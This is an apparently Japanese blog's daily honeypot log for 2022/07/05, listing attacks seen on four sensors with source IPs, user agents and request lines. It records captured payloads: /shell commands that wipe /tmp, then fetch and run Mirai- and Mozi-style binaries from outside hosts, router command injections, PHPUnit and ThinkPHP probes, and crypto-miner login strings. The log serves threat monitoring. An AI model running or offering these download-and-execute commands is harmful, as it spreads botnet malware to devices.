2022/07/05 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/07/05分です。

特徴

共通

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.awsへのスキャン行為
/.envへのスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為

Location:JP

D-link製品の脆弱性を狙うアクセス
WordPress Pluginへのスキャン行為
110.242.68.4に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://104.248.11.133/bins/aqua.mpsl;
sh /tmp/aqua.mpsl

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:US

D-link製品の脆弱性を狙うアクセス
JBossの脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://104.248.11.133/bins/aqua.mpsl;
sh /tmp/aqua.mpsl

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:UK

/.gitへのスキャン行為
110.242.68.4に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://104.248.11.133/bins/aqua.mpsl;
sh /tmp/aqua.mpsl

Location:SG

D-link製品の脆弱性を狙うアクセス
JBossの脆弱性を狙うアクセス
110.242.68.4に関する不正通信

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  91.218.67.131/reaper/reap.arm4;
chmod 777 /tmp/reap.arm4;
sh /tmp/reap.arm4

他

アクセス数推移

JP：総アクセス数：125 (前日比：-169)
US：総アクセス数：217 (前日比：78)
UK：総アクセス数：66 (前日比：-34)
SG：総アクセス数：107 (前日比：-37)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	1.202.113.163	China
1	18.117.118.14	United States
35	20.83.25.59	United States
1	45.65.198.132	Brazil
1	49.143.32.6	South Korea
1	59.16.30.84	South Korea
1	60.13.6.201	China
1	60.13.138.158	China
15	95.214.235.205	Ukraine
1	104.217.249.182	United States
2	109.237.100.22	Russia
2	109.237.103.118	Russia
2	109.237.103.123	Russia
1	112.66.108.167	China
1	117.194.165.189	India
1	118.250.122.27	China
1	123.128.159.130	China
1	123.145.5.204	China
1	123.145.14.149	China
1	124.31.106.202	China
1	125.84.239.60	China
8	135.125.244.48	France
7	135.125.246.110	France
2	143.198.174.30	United States
1	144.168.243.146	Canada
1	154.89.5.46	Seychelles
2	157.245.70.127	United States
1	161.35.142.105	United States
2	164.90.128.90	United States
1	171.12.10.62	China
1	178.79.150.174	United States
13	185.7.214.104	Hong Kong
5	185.142.236.36	Seychelles
1	192.241.213.65	United States
1	192.241.223.20	United States
1	198.235.24.161	United States
1	218.95.234.138	China
1	221.2.163.231	China
1	222.94.163.22	China
3	222.186.19.205	China

UserAgent一覧

件数	UserAgent
13	`-`
2	`Go-http-client/1.1`
1	`Hello, World`
2	`Hello, world`
1	`MMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
6	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36`
13	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
35	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3`
38	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
2	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44`
4	`PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
2		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01\x01H\x01`
2		`\x16\x03\x01`
1	CONNECT	`cn[.]bing[.]com:443`	HTTP/1.1
1	CONNECT	`txt[.]go[.]sohu[.]com:443`	HTTP/1.1
1	CONNECT	`whois[.]pconline[.]com[.]cn:443`	HTTP/1.1
1	CONNECT	`www[.]baidu[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]so[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]voanews[.]com:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
39	GET	`/.env`	HTTP/1.1
1	GET	`/.local`	HTTP/1.1
1	GET	`/.production`	HTTP/1.1
1	GET	`/.remote`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//123[.]128[.]159[.]130:57573/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//104[.]248[.]11[.]133/bins/aqua.mpsl;sh+/tmp/aqua.mpsl`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`http[:]//dianying[.]taobao[.]com/cityAction.json?city=&_ksTS=6106695763070_11&jsoncallback=jsonp20&action=cityAction&n_s=new&event_submit_doLocate=true`	HTTP/1.1
1	GET	`http[:]//dongtaiwang[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]epochtimes[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]minghui[.]org/`	HTTP/1.1
1	GET	`http[:]//www[.]rfa[.]org/english/`	HTTP/1.1
1	GET	`http[:]//www[.]soso[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]wujieliulan[.]com/`	HTTP/1.1
1	HEAD	`http[:]//110[.]242[.]68[.]4/`	HTTP/1.1
1	POST	`//admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
101	5.59.51.25	Czechia
1	20.213.238.131	United States
1	20.237.227.24	United States
4	23.250.19.242	Canada
2	34.88.211.3	United States
1	45.65.198.132	Brazil
8	45.77.243.23	United States
1	45.79.23.28	United States
2	45.227.254.49	Belize
3	51.79.29.48	Canada
33	54.234.196.140	United States
2	62.233.50.113	Russia
1	66.240.205.34	United States
4	66.240.236.119	United States
1	74.117.196.110	United States
1	103.40.196.66	India
1	104.217.249.182	United States
2	109.237.100.22	Russia
2	109.237.103.38	Russia
2	109.237.103.118	Russia
1	114.251.146.178	China
1	120.0.109.103	China
1	120.85.112.13	China
1	143.198.174.30	United States
1	147.124.213.130	United States
2	157.245.70.127	United States
1	162.142.125.211	United States
1	162.142.125.213	United States
1	164.90.128.90	United States
1	167.248.133.62	United States
1	183.107.59.74	South Korea
16	185.7.214.104	Hong Kong
9	185.254.196.223	Ukraine
1	192.241.214.224	United States
1	192.241.220.57	United States
1	193.124.7.9	Czechia
1	198.244.213.30	France
1	205.210.31.31	United States
1	221.2.163.231	China
1	222.247.173.138	China

UserAgent一覧

件数	UserAgent
26	`-`
1	`Go-http-client/1.1`
1	`Hakai/2.0`
3	`Hello, world`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
101	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36`
16	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0`
33	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36`
21	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
2	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
4		`\x03`
1		`\x16\x03\x01\x01C\x01`
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01\x01H\x01`
4		`\x16\x03\x01`
1	GET	`/.aws/credentials`	HTTP/1.1
22	GET	`/.env`	HTTP/1.1
2	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/83.118.68.34.bc.googleusercontent.com/.env`	HTTP/1.1
2	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
2	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=sy1c2ner`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/app/config/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/audio/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/base/.env`	HTTP/1.1
1	GET	`/blog/.env`	HTTP/1.1
1	GET	`/cgi-bin/.env`	HTTP/1.1
1	GET	`/conf/.env`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/crm/.env`	HTTP/1.1
1	GET	`/database/.env`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/invoker/readonly`	HTTP/1.1
1	GET	`/jenkins/login`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/library/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login.cgi?cli=aa%20aa%27;wget%20http[:]//134[.]195[.]138[.]33/.nCKx/zx.mips%20-O%20-%3E%20/tmp/kh;/tmp/kh%20selfrep.dlink%27$`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
2	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/newsite/.env`	HTTP/1.1
1	GET	`/old/.env`	HTTP/1.1
101	GET	`/phpmyadmin/`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/script`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//104[.]248[.]11[.]133/bins/aqua.mpsl;sh+/tmp/aqua.mpsl`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sites/all/libraries/mailchimp/.env`	HTTP/1.1
2	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/vendor/laravel/.env`	HTTP/1.1
3	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-admin/.env`	HTTP/1.1
1	GET	`/wp-content/.env`	HTTP/1.1
1	GET	`/www/.env`	HTTP/1.1
1	GET	`http[:]//example[.]com/`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/_ignition/execute-solution`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	1.85.216.111	China
1	14.120.129.16	China
1	14.204.44.187	China
1	18.222.50.71	United States
1	20.223.172.170	United States
1	35.80.14.44	United States
1	42.228.229.162	China
1	42.241.86.17	Australia
2	45.227.254.48	Belize
3	45.227.255.55	Panama
1	51.142.93.11	United Kingdom
1	58.19.11.130	China
1	59.22.27.25	South Korea
2	62.233.50.113	Russia
1	104.217.249.182	United States
2	109.237.100.22	Russia
2	109.237.103.118	Russia
1	111.175.6.248	China
1	124.90.52.212	China
1	125.84.237.9	China
1	143.198.174.30	United States
1	144.255.31.233	China
4	154.198.211.138	United States
2	157.230.216.203	United States
1	167.248.133.120	United States
1	180.95.238.206	China
1	183.136.225.35	China
12	185.7.214.104	Hong Kong
5	185.213.175.159	Spain
1	192.241.219.161	United States
1	192.241.220.50	United States
1	192.241.222.160	United States
1	193.124.7.9	Czechia
1	195.54.178.35	Georgia
1	198.235.24.34	United States
1	220.250.10.236	China
1	221.2.163.231	China
1	222.94.212.13	China
3	222.186.19.205	China

UserAgent一覧

件数	UserAgent
22	`-`
6	`Go-http-client/1.1`
1	`Hello, World`
1	`Hello, world`
2	`Java/1.8.0_333`
1	`Mozilla/4.01687919 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)`
5	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36`
12	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0`
2	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
3	`Mozilla/5.0 zgrab/0.x`
4	`PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3`
2	`python-requests/2.22.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
7		`\x03`
1		`\x16\x03\x01\x01D\x01`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x02`
3		`\x16\x03\x01`
1		`{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"login\",\"params\":{\"login\":\"44a8x1nSm5c6KVBxirDXKs7nS6uYGjRMYGrVFtfHjdau3DawUGeRKPQTuZBZktSeEiKHkVKPt2PbCTb6CzyfC5KCKTo4tVU\",\"pass\":\"x\",\"agent\":\"XMRig/6.15.3`	(Windows NT 10.0; Win64; x64) libuv/1.42.0 msvc/2019\",\"algo\":[\"cn/1\",\"cn/2\",\"cn/r\",\"cn/fast\",\"cn/half\",\"cn/xao\",\"cn/rto\",\"cn/rwz\",\"cn/zls\",\"cn/double\",\"cn/ccx\",\"cn-lite/1\",\"cn-heavy/0\",\"cn-heavy/tube\",\"cn-heavy/xhv\",\"cn-pico\",\"cn-pico/tlo\",\"cn/upx2\",\"rx/0\",\"rx/wow\",\"rx/arq\",\"rx/graft\",\"rx/sfx\",\"rx/keva\",\"argon2/chukwa\",\"argon2/chukwav2\",\"argon2/ninja\",\"astrobwt\"]}}\n
1		`{\"id\":1,\"method\":\"eth_submitLogin\",\"worker\":\"eth1.0\",\"params\":[\"0x878a5c2a0470bbbfd5775a29ae69af247ede6a05\",\"x\"],\"jsonrpc\":\"2.0\"}\n`
1		`{\"id\":`	1, \"method\": \"mining.subscribe\", \"params\": [\"MinerName/1.0.0\", \"EthereumStratum/1.0.0\"]}\n
1		`{\"id\":`	1, \"method\": \"mining.subscribe\", \"params\": [\"cpuminer/2.5.1\"]}\n
1	CONNECT	`cn[.]bing[.]com:443`	HTTP/1.1
1	CONNECT	`opendata[.]baidu[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]baidu[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]google[.]es:443`	HTTP/1.1
1	CONNECT	`www[.]orange[.]es:443`	HTTP/1.1
1	CONNECT	`www[.]so[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]voanews[.]com:443`	HTTP/1.1
1	CONNECT	`zz[.]bdstatic[.]com:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//14[.]120[.]129[.]169:59439/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//104[.]248[.]11[.]133/bins/aqua.mpsl;sh+/tmp/aqua.mpsl`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`http[:]//dongtaiwang[.]com/`	HTTP/1.1
1	GET	`http[:]//dyn[.]epicgifs[.]net/test6956.php`	HTTP/1.1
1	GET	`http[:]//example[.]com/`	HTTP/1.1
1	GET	`http[:]//pv[.]sohu[.]com/cityjson`	HTTP/1.1
1	GET	`http[:]//www[.]epochtimes[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]minghui[.]org/`	HTTP/1.1
1	GET	`http[:]//www[.]rfa[.]org/english/`	HTTP/1.1
1	GET	`http[:]//www[.]wujieliulan[.]com/`	HTTP/1.1
1	HEAD	`http[:]//110[.]242[.]68[.]4/`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.55.53.144	United States
2	20.188.24.63	United States
1	45.72.96.136	Canada
1	45.95.169.145	Croatia
39	51.79.29.48	Canada
1	51.142.148.13	United Kingdom
8	100.27.43.47	United States
1	103.41.36.32	India
1	104.217.249.182	United States
2	109.237.103.118	Russia
1	111.85.200.124	China
1	111.162.152.142	China
1	111.224.221.5	China
1	112.65.87.58	China
1	118.8.10.116	Japan
1	123.163.114.109	China
1	125.43.7.52	China
1	143.198.174.30	United States
1	150.255.98.183	China
2	157.230.216.203	United States
1	161.35.230.3	United States
1	162.142.125.212	United States
1	162.142.125.219	United States
1	164.90.128.90	United States
1	164.92.81.83	United States
1	172.104.138.223	United States
1	182.88.78.67	China
12	185.7.214.104	Hong Kong
8	185.254.196.223	Ukraine
1	192.241.206.119	United States
2	194.165.16.72	Panama
1	195.154.17.104	France
1	205.210.31.24	United States
1	220.173.209.34	China
1	221.2.163.231	China
1	221.199.64.9	China
1	222.94.163.228	China
3	222.186.19.205	China

UserAgent一覧

件数	UserAgent
14	`-`
2	`Go-http-client/1.1`
1	`Hakai/2.0`
1	`Java/1.8.0_333`
1	`Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
5	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36`
12	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0`
